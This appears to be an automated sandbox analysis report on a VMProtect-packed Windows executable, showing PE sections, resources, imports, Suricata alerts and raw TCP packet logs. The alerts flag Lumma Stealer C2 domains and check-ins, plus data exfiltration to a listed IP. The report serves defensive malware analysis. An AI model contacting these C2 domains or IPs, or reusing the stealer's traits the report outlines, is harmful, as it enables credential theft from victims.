.text	0x1000	0x3f65a	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x41000	0x255d	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x44000	0xf070	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x54000	0x2d10ce	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp	0x326000	0x26c	0x400	68931710b06e7b45b49528f8f1aa8078	False	0.2177734375	data	1.5033045918844197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x327000	0x5d0e10	0x5d1000	9961061084943ecbb8483bb1615607bb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x8f8000	0x6a8	0x800	25877f7c938b200def1cc9b28f151b61	False	0.42138671875	data	3.695613417085349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x8f9000	0x64fbb	0x2d800	fbce41ded10dc7f3bf2933bbad27666a	False	0.6787592290521978	data	6.583707610599787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
TIS	0x926708	0x3f88	data	English	United States	0.04838709677419355
TIS	0x92a690	0xd62	empty	English	United States	0
TIS	0x92b3f4	0x3c44	empty	English	United States	0
TIS	0x92f038	0x888	empty	English	United States	0
RT_CURSOR	0x92f8c0	0x134	empty	English	United States	0
RT_CURSOR	0x92f9f4	0x134	empty	English	United States	0
RT_CURSOR	0x92fb28	0x134	empty	English	United States	0
RT_CURSOR	0x92fc5c	0x134	empty	English	United States	0
RT_CURSOR	0x92fd90	0x134	empty	English	United States	0
RT_BITMAP	0x92fec4	0x6568	empty	English	United States	0
RT_BITMAP	0x93642c	0x1148	empty	English	United States	0
RT_BITMAP	0x937574	0x2f6a	empty	English	United States	0
RT_BITMAP	0x93a4e0	0x84a	empty	English	United States	0
RT_BITMAP	0x93ad2c	0x1645e	empty	English	United States	0
RT_BITMAP	0x95118c	0x1b2a	empty	English	United States	0
RT_BITMAP	0x952cb8	0xbea	empty	English	United States	0
RT_ICON	0x8fa8c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.7368667917448405
RT_ICON	0x8fb968	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.5006802318703419
RT_ICON	0x90c190	0x11b63	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0003721725226404
RT_ICON	0x91dcf4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.605595667870036
RT_ICON	0x91e59c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.42057761732851984
RT_ICON	0x91ee44	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.4864864864864865
RT_ICON	0x91ef6c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.661849710982659
RT_ICON	0x91f4d4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.4849290780141844
RT_ICON	0x91f93c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.26344086021505375
RT_ICON	0x91fc24	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.4966216216216216
RT_ICON	0x91fd4c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.47247292418772563
RT_ICON	0x9205f4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.6365606936416185
RT_ICON	0x920b5c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.2945590994371482
RT_ICON	0x921c04	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.4592198581560284
RT_ICON	0x92206c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5168918918918919
RT_ICON	0x922194	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.596820809248555
RT_ICON	0x9226fc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.7039007092198581
RT_ICON	0x922b64	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.527027027027027
RT_ICON	0x922c8c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5844594594594594
RT_ICON	0x922db4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4667630057803468
RT_ICON	0x92331c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.3911290322580645
RT_ICON	0x923604	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.5257220216606499
RT_ICON	0x923eac	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6205673758865248
RT_ICON	0x924314	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.37171669793621015
RT_MENU	0x9538a4	0x480	empty	English	United States	0
RT_MENU	0x953d24	0x72	empty	Russian	Russia	0
RT_MENU	0x953d98	0x7c	empty	English	United States	0
RT_MENU	0x953e14	0x70e	empty	English	United States	0
RT_MENU	0x954524	0x73a	empty	English	United States	0
RT_MENU	0x954c60	0x2a4	empty	English	United States	0
RT_MENU	0x954f04	0x58	empty	English	United States	0
RT_DIALOG	0x954f5c	0x10e	empty	English	United States	0
RT_DIALOG	0x95506c	0x3aa	empty	English	United States	0
RT_DIALOG	0x955418	0xa4	empty	English	United States	0
RT_DIALOG	0x9554bc	0x1f2	empty	English	United States	0
RT_DIALOG	0x9556b0	0x1b2	empty	English	United States	0
RT_DIALOG	0x955864	0x21a	empty	English	United States	0
RT_DIALOG	0x955a80	0xd8	empty	English	United States	0
RT_DIALOG	0x955b58	0x160	empty	English	United States	0
RT_DIALOG	0x955cb8	0x1ee	empty	English	United States	0
RT_DIALOG	0x955ea8	0x312	empty	English	United States	0
RT_DIALOG	0x9561bc	0x374	empty	English	United States	0
RT_DIALOG	0x956530	0x136	empty	English	United States	0
RT_DIALOG	0x956668	0x33e	empty	English	United States	0
RT_DIALOG	0x9569a8	0x144	empty	English	United States	0
RT_DIALOG	0x956aec	0x2a2	empty	English	United States	0
RT_DIALOG	0x956d90	0xc8	empty	English	United States	0
RT_DIALOG	0x956e58	0x26e	empty	English	United States	0
RT_DIALOG	0x9570c8	0x3ae	empty	English	United States	0
RT_DIALOG	0x957478	0x2ba	empty	English	United States	0
RT_DIALOG	0x957734	0x3fe	empty	English	United States	0
RT_DIALOG	0x957b34	0x316	empty	English	United States	0
RT_DIALOG	0x957e4c	0x100	empty	English	United States	0
RT_DIALOG	0x957f4c	0xf6	empty	English	United States	0
RT_DIALOG	0x958044	0x2b8	empty	English	United States	0
RT_DIALOG	0x9582fc	0xa2	empty	English	United States	0
RT_DIALOG	0x9583a0	0xa2	empty	English	United States	0
RT_DIALOG	0x958444	0x26a	empty	English	United States	0
RT_DIALOG	0x9586b0	0x41c	empty	English	United States	0
RT_DIALOG	0x958acc	0x120	empty	English	United States	0
RT_DIALOG	0x958bec	0x288	empty	English	United States	0
RT_DIALOG	0x958e74	0x12e	empty	English	United States	0
RT_DIALOG	0x958fa4	0x11e	empty	English	United States	0
RT_DIALOG	0x9590c4	0x17e	empty	English	United States	0
RT_DIALOG	0x959244	0x366	empty	English	United States	0
RT_DIALOG	0x9595ac	0x124	empty	English	United States	0
RT_DIALOG	0x9596d0	0x1fe	empty	English	United States	0
RT_DIALOG	0x9598d0	0x12e	empty	English	United States	0
RT_STRING	0x959a00	0x8a	empty	English	United States	0
RT_STRING	0x959a8c	0x130	empty	English	United States	0
RT_STRING	0x959bbc	0x2e	empty	English	United States	0
RT_STRING	0x959bec	0x1d2	empty	English	United States	0
RT_STRING	0x959dc0	0x97e	empty	English	United States	0
RT_STRING	0x95a740	0x29c	empty	English	United States	0
RT_STRING	0x95a9dc	0x332	empty	English	United States	0
RT_STRING	0x95ad10	0x38c	empty	English	United States	0
RT_STRING	0x95b09c	0x262	empty	English	United States	0
RT_STRING	0x95b300	0x2ac	empty	English	United States	0
RT_STRING	0x95b5ac	0x25c	empty	English	United States	0
RT_STRING	0x95b808	0x688	empty	English	United States	0
RT_STRING	0x95be90	0x36e	empty	English	United States	0
RT_STRING	0x95c200	0x190	empty	English	United States	0
RT_STRING	0x95c390	0x25e	empty	English	United States	0
RT_STRING	0x95c5f0	0x5e8	empty	English	United States	0
RT_STRING	0x95cbd8	0x558	empty	English	United States	0
RT_STRING	0x95d130	0x46a	empty	English	United States	0
RT_STRING	0x95d59c	0x26c	empty	English	United States	0
RT_STRING	0x95d808	0x348	empty	English	United States	0
RT_STRING	0x95db50	0x292	empty	English	United States	0
RT_GROUP_CURSOR	0x95dde4	0x14	empty	English	United States	0
RT_GROUP_CURSOR	0x95ddf8	0x14	empty	English	United States	0
RT_GROUP_CURSOR	0x95de0c	0x14	empty	English	United States	0
RT_GROUP_CURSOR	0x95de20	0x14	empty	English	United States	0
RT_GROUP_CURSOR	0x95de34	0x14	empty	English	United States	0
RT_GROUP_ICON	0x9253bc	0x30	data	English	United States	0.8541666666666666
RT_GROUP_ICON	0x9253ec	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x925400	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x925414	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x925444	0x5a	data	English	United States	0.7444444444444445
RT_GROUP_ICON	0x9254a0	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x9254d0	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x9254e4	0x5a	data	English	United States	0.7555555555555555
RT_VERSION	0x925540	0x38c	PGP symmetric key encrypted data - Plaintext or unencrypted data	English	United States	0.33259911894273125
RT_MANIFEST	0x9258cc	0xe3b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.38594564919022784
None	0x95de48	0xc5	empty			0
None	0x95df10	0xab	empty			0

Imports

DLL	Import
KERNEL32.dll	CopyFileW, ExitProcess, GetCommandLineW, GetCurrentProcessId, GetCurrentThreadId, GetLogicalDrives, GetSystemDirectoryW, GlobalLock, GlobalUnlock
USER32.dll	CloseClipboard, FindWindowExW, GetClipboardData, GetDC, GetForegroundWindow, GetSystemMetrics, GetWindowLongW, GetWindowThreadProcessId, IsWindowEnabled, IsWindowVisible, OpenClipboard, ReleaseDC
GDI32.dll	BitBlt, CreateCompatibleBitmap, CreateCompatibleDC, CreateDIBSection, DeleteDC, DeleteObject, GetCurrentObject, GetDIBits, GetObjectW, GetPixel, SelectObject, StretchBlt
ole32.dll	CoCreateInstance, CoInitializeEx, CoInitializeSecurity, CoSetProxyBlanket, CoUninitialize
SHELL32.dll	SHEmptyRecycleBinW, SHGetFileInfoW
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear, VariantInit
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T15:17:35.709139+0100	2057352	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (terracedjz .cyou)	1	192.168.2.6	63769	1.1.1.1	53	UDP
2024-12-18T15:17:36.052127+0100	2057269	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (worddosofrm .shop)	1	192.168.2.6	55056	1.1.1.1	53	UDP
2024-12-18T15:17:36.192611+0100	2057267	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mutterissuen .shop)	1	192.168.2.6	57083	1.1.1.1	53	UDP
2024-12-18T15:17:36.424197+0100	2057265	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (standartedby .shop)	1	192.168.2.6	57898	1.1.1.1	53	UDP
2024-12-18T15:17:36.738535+0100	2057263	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nightybinybz .shop)	1	192.168.2.6	57779	1.1.1.1	53	UDP
2024-12-18T15:17:36.962636+0100	2057259	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (conceszustyb .shop)	1	192.168.2.6	62264	1.1.1.1	53	UDP
2024-12-18T15:17:37.383090+0100	2057261	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bakedstusteeb .shop)	1	192.168.2.6	55807	1.1.1.1	53	UDP
2024-12-18T15:17:37.613350+0100	2057257	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (respectabosiz .shop)	1	192.168.2.6	61328	1.1.1.1	53	UDP
2024-12-18T15:17:37.754474+0100	2057255	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (moutheventushz .shop)	1	192.168.2.6	64818	1.1.1.1	53	UDP
2024-12-18T15:17:39.784288+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49715	23.55.153.106	443	TCP
2024-12-18T15:17:41.246844+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49715	23.55.153.106	443	TCP
2024-12-18T15:17:43.119365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49724	104.21.66.86	443	TCP
2024-12-18T15:17:45.454383+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49724	104.21.66.86	443	TCP
2024-12-18T15:17:45.454383+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49724	104.21.66.86	443	TCP
2024-12-18T15:17:46.797919+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49739	104.21.66.86	443	TCP
2024-12-18T15:17:47.991015+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49739	104.21.66.86	443	TCP
2024-12-18T15:17:47.991015+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49739	104.21.66.86	443	TCP
2024-12-18T15:17:49.546406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49747	104.21.66.86	443	TCP
2024-12-18T15:17:54.184493+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49747	104.21.66.86	443	TCP
2024-12-18T15:17:55.562519+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49761	104.21.66.86	443	TCP
2024-12-18T15:18:00.002374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49771	104.21.66.86	443	TCP
2024-12-18T15:18:04.470967+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49782	104.21.66.86	443	TCP
2024-12-18T15:18:07.954372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49790	104.21.66.86	443	TCP
2024-12-18T15:18:15.647919+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49817	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:17:38.135550976 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:38.135602951 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:38.135670900 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:38.387649059 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:38.387691021 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:39.784202099 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:39.784287930 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:39.787102938 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:39.787127972 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:39.787436962 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:39.835177898 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:40.572591066 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:40.615375042 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.246870041 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.246897936 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.246948957 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.246972084 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.247020960 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.247067928 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.247083902 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.247095108 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.247095108 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.247095108 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.247112989 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.247129917 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.415951967 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.416030884 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.416064978 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.416141033 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.416198969 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.446129084 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.446187019 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.446206093 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.446208954 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.446284056 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.591547012 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.591567993 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.591584921 CET	49715	443	192.168.2.6	23.55.153.106
Dec 18, 2024 15:17:41.591593027 CET	443	49715	23.55.153.106	192.168.2.6
Dec 18, 2024 15:17:41.890295982 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:41.890311003 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:41.890418053 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:41.890937090 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:41.890954018 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:43.119225979 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:43.119364977 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:43.158876896 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:43.158900023 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:43.159873009 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:43.173649073 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:43.173674107 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:43.173841000 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:45.454425097 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:45.454546928 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:45.454664946 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:45.454740047 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:45.454760075 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:45.454773903 CET	49724	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:45.454787970 CET	443	49724	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:45.583229065 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:45.583265066 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:45.583636045 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:45.584111929 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:45.584122896 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:46.797827005 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:46.797919035 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:46.806118965 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:46.806139946 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:46.806420088 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:46.815669060 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:46.815712929 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:46.815773010 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991031885 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991077900 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991112947 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991138935 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991167068 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991170883 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:47.991187096 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991213083 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:47.991219044 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991229057 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:47.991235971 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:47.991276026 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:47.999403954 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.007930040 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.008044004 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.008050919 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.110945940 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.111054897 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.111068010 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.163393974 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.209464073 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.211812973 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.211896896 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.211905956 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.211936951 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.211986065 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.212033987 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.212184906 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.212213993 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.212241888 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.212254047 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.212261915 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.212270975 CET	49739	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.212274075 CET	443	49739	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.317536116 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.317589998 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:48.317699909 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.318015099 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:48.318026066 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:49.546305895 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:49.546406031 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:49.619651079 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:49.619673014 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:49.620722055 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:49.643990993 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:49.644188881 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:49.644237041 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:54.184470892 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:54.184570074 CET	443	49747	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:54.184751034 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:54.184798956 CET	49747	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:54.346293926 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:54.346348047 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:54.346441984 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:54.346798897 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:54.346817017 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:55.562443018 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:55.562519073 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:55.563998938 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:55.564011097 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:55.564368010 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:55.565639019 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:55.565771103 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:55.565803051 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:55.565866947 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:55.565874100 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:58.572990894 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:58.573081017 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:58.573131084 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:58.573323965 CET	49761	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:58.573343039 CET	443	49761	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:58.783680916 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:58.783720970 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:17:58.783876896 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:58.784284115 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:17:58.784296036 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:00.002285004 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:00.002373934 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:00.004319906 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:00.004332066 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:00.004575968 CET	443	49771	104.21.66.86	192.168.2.6
Dec 18, 2024 15:18:00.006306887 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:00.006541967 CET	49771	443	192.168.2.6	104.21.66.86
Dec 18, 2024 15:18:00.006586075 CET	443	49771	104.21.66.86	192.168.2.6
